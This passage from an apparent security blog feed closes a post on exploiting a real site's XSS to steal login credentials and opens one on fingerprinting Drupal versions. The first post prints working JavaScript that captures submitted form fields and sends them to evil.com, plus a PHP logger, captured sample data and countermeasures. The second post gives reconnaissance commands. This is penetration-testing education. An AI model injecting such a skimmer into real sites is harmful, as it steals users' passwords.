  &lt;li&gt;Plug-ins with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;object&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;embed&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Fonts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@font-face&lt;/code&gt;. Some browsers allow cross-origin fonts, others require same-origin fonts.&lt;/li&gt;
  &lt;li&gt;Anything with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;frame&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;. A site can use the X-Frame-Options header to prevent this form of cross-origin interaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But in fact whatever… we are owning the web server we would be able to add if it was necessary the response header &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;access-control-allow-origin: *&lt;/code&gt; for any resources.&lt;/p&gt;

&lt;p&gt;But what kind of cool javascript payload can we inject? (knowing that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSESSIONID&lt;/code&gt; cookie has the flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, so not accessible via javascript).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image3.png&quot; alt=&quot;image3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We will add a callback function that will be triggered once the forms on the webpage will be submitted&lt;/strong&gt; (allowing us to capture the credentials).&lt;br /&gt;
Check &lt;a href=&quot;https://github.com/phackt/pentest/tree/master/exploits/js_keylogger&quot;&gt;https://github.com/phackt/pentest/tree/master/exploits/js_keylogger&lt;/a&gt; for source code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;POC.JS&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	  	&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forms&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;submit&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	  		&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
	  			&lt;span class=&quot;nx&quot;&gt;keys&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[name:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,value:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,type:&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;elements&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	  			&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://evil.com/key.php?c=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	  		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    	&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;key.php&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;empty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;data.txt&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;a+&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;fwrite&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;c&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$logfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So suppose you are receiving a link which exploits the XSS vulnerability and you innocently enter your credentials to check your account, the attacker will receive:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[name:CONNEXIONCOMPTE_2NUMSECURITESOCIALE,value:1234567890123,type:text]
[name:connexioncompte_2codeConfidentiel,value:89769874,type:password]
[name:connexioncompte_2actionEvt,value:connecter,type:hidden]
[name:submit,value:Valider,type:submit]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This kind of vulnerability could be part of a &lt;strong&gt;phishing campaign&lt;/strong&gt; which encourages people to log in by clicking on the malicious link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;COUNTERMEASURES&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HTML Encoding (HTML entities and numeric character references) - &lt;a href=&quot;https://en.wikipedia.org/wiki/Character_encodings_in_HTML&quot;&gt;https://en.wikipedia.org/wiki/Character_encodings_in_HTML&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Sanitizing&lt;/li&gt;
  &lt;li&gt;Escaping&lt;/li&gt;
  &lt;li&gt;White-listing&lt;/li&gt;
  &lt;li&gt;Block inline javascript via CSP (&lt;em&gt;X-XSS-Protection is deprecated and will be replaced by the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;CSP&lt;/a&gt; directive Reflected-XSS&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Dealing with external resources, blocking all cross domains requests via a Content Security Policy rule may be not relevant because a lot of these resources are legitimate on a website.&lt;br /&gt;
However we can do some subtle CSP rules in order to allow only what is needed.&lt;/p&gt;

&lt;p&gt;But if a web site administrator wants to allow only resources from the &lt;em&gt;same origin&lt;/em&gt; (this excludes subdomains):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy: default-src &apos;self&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Web applications are really interesting because of all the concepts you have to deal with.&lt;/p&gt;

&lt;p&gt;Hope you enjoyed.&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</description>
        <pubDate>Tue, 25 Jul 2017 00:00:00 +0000</pubDate>
        <link>https://phackt.org/xss-real-life-case-credentials-stealing</link>
        <guid isPermaLink="true">https://phackt.org/xss-real-life-case-credentials-stealing</guid>
        
        
        <category>Web Security</category>
        
      </item>
    
      <item>
        <title>Fingerprinting Web Application static files</title>
        <description>&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;Today i would like to share with you the first version of a script i wrote to help determining the version of a software.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So what the hell am i talking about?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Ok let me explain the context: You are looking at a website and trying to get the exact version of the underlying CMS, let say Drupal. We know that Drupal has suffered from the &lt;a href=&quot;https://www.drupal.org/project/drupalgeddon&quot;&gt;Drupalgeddon&lt;/a&gt; for versions 7.X before 7.32. So you can have at look at some obvious files (CHANGELOG.txt), but what happens if the webmaster deleted these files? How to maximize the chance to find the right version or at least the smallest delta as possible ?
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;A tool was existing for that purpose, &lt;a href=&quot;https://github.com/lokifer/BlindElephant&quot;&gt;BlindElephant&lt;/a&gt;, but it is not maintained anymore. So i chose to write my own script matching my needs. Of course don’t hesitate to contact me and let me know if you took time to have BlindElephant in a working state with the CMS hashes databases up-to-date.&lt;/p&gt;

&lt;p&gt;So let’s say that after your recon phase you have your target using Drupal CMS (it will work with &lt;strong&gt;any CMS files versioned on GIT&lt;/strong&gt;).&lt;br /&gt;
For now we will install a Drupal on our local machine.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/jekyc/wig&quot;&gt;WebApp Information Gatherer&lt;/a&gt; may helps your to identify it:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./wig.py http://localhost/drupal
...
Name           Versions          Type               
Drupal         7                 CMS   
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course if you can hit some files leaking the CMS version, in this case everything is already folded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl --silent http://localhost/drupal/CHANGELOG.txt | head -1
Drupal 7.29, 2014-07-16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You also can look for some obvious information in the response headers or for any meta information in the HTML page. But if the webmaster did its job, nothing will leak so how can we fingerprint our CMS?&lt;/p&gt;

&lt;p&gt;What do you need:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt; the GIT repository of the CMS (ex &lt;a href=&quot;https://github.com/drupal/drupal&quot;&gt;https://github.com/drupal/drupal&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;find the most relevant (updated) files as input files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git log&lt;/code&gt;, we will see it later)&lt;/li&gt;
  &lt;li&gt;download these files from your target&lt;/li&gt;
  &lt;li&gt;hash all these input files and their GIT releases equivalent&lt;/li&gt;
  &lt;li&gt;compare input files hashes with the releases ones&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Following all these steps will help to determine the most likely versions of the underlying CMS.&lt;/p&gt;

&lt;p&gt;So first download the last version of &lt;a href=&quot;https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh&quot;&gt;versionchecker.sh&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; wget https://raw.githubusercontent.com/phackt/pentest/master/fingerprint/web/versionchecker.sh
&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x versionchecker.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then clone the &lt;a href=&quot;https://github.com/drupal/drupal&quot;&gt;Drupal repo&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/drupal/drupal.git
&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;drupal/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we will look for our relevant input files:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git log &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--pretty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;format: &lt;span class=&quot;nt&quot;&gt;--name-only&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^core/&quot;&lt;/span&gt; | egrep &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;(.js&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.html&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.css&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;uniq&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rg&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-30&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tee&lt;/span&gt; /tmp/relevant_files.txt
warning: inexact rename detection was skipped due to too many files.
warning: you may want to &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;your diff.renameLimit variable to at least 4708 and retry the command.
    170 misc/drupal.css
    106 themes/seven/style.css
    106 themes/garland/style.css
    102 misc/drupal.js
     85 modules/system/system.css
     78 modules/overlay/overlay-parent.js
     72 themes/bartik/css/style.css
     67 misc/tabledrag.js
     57 misc/autocomplete.js
     55 themes/xtemplate/xtemplate.css
     55 modules/system/system.js
     52 misc/ajax.js
     42 misc/collapse.js
     41 misc/textarea.js
     41 misc/tableheader.js
     37 themes/pushbutton/style.css
     35 themes/bluemarine/style.css
     35 modules/user/user.js
     35 misc/progress.js
     33 modules/user/user.css
     32 modules/toolbar/toolbar.css
     30 misc/tableselect.js
     29 modules/system/admin.css
     28 themes/garland/style-rtl.css
     28 misc/jquery.js
     26 modules/color/color.js
     26 modules/block/block.js
     25 misc/teaser.js
     24 themes/bartik/css/style-rtl.css
     24 modules/node/node.css
     23 themes/chameleon/common.css
     23 modules/toolbar/toolbar.js
     23 modules/system/system-rtl.css
     22 modules/dashboard/dashboard.css
     22 misc/ahah.js
     21 themes/garland/fix-ie.css
     20 themes/xtemplate/pushbutton/xtemplate.css
     20 modules/overlay/overlay-parent.css
     20 modules/openid/openid.js
     20 modules/book/book.css
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are looking for the most commited static files (.js, .html, .css), not beginning by &lt;em&gt;core/&lt;/em&gt; (Drupal 8 hierarchy, we are looking for a Drupal 7 version here) and saving the results in &lt;em&gt;/tmp/relevant_files.txt&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Let’s download these files from our target in order to be processed by the &lt;strong&gt;versionchecker.sh&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; ../input &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ../input
&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;file &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /tmp/relevant_files.txt | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;s/^ +//g&apos;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;dirname&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;wget &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://localhost/drupal/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the input directory we need to keep the hierarchy of relevant files in order to find them in the GIT repo. Some files may not be found for the target release. As an option, you can pass a pattern to grep the tags you want after the script has executed the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git tag&lt;/code&gt; command (to find all the releases).&lt;/p&gt;

&lt;p&gt;Let’s run our &lt;strong&gt;versionchecker.sh&lt;/strong&gt; (currently only working for git versioning system):&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; .. &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./versionchecker.sh &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; ./input/ &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; ./drupal/ &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;^[78]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[0-9.]+$&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Input files directory: /tmp/input
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Cleaning empty files and directory &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; /tmp/input - Done
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; GIT repository: /root/Documents/repo/drupal
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Grep pattern: ^7&lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;0-9]+&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
        ___           ___           ___           ___                       ___           ___       
       /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;         ___        /&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;        /&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;_&lt;span class=&quot;se&quot;&gt;\ &lt;/span&gt;     
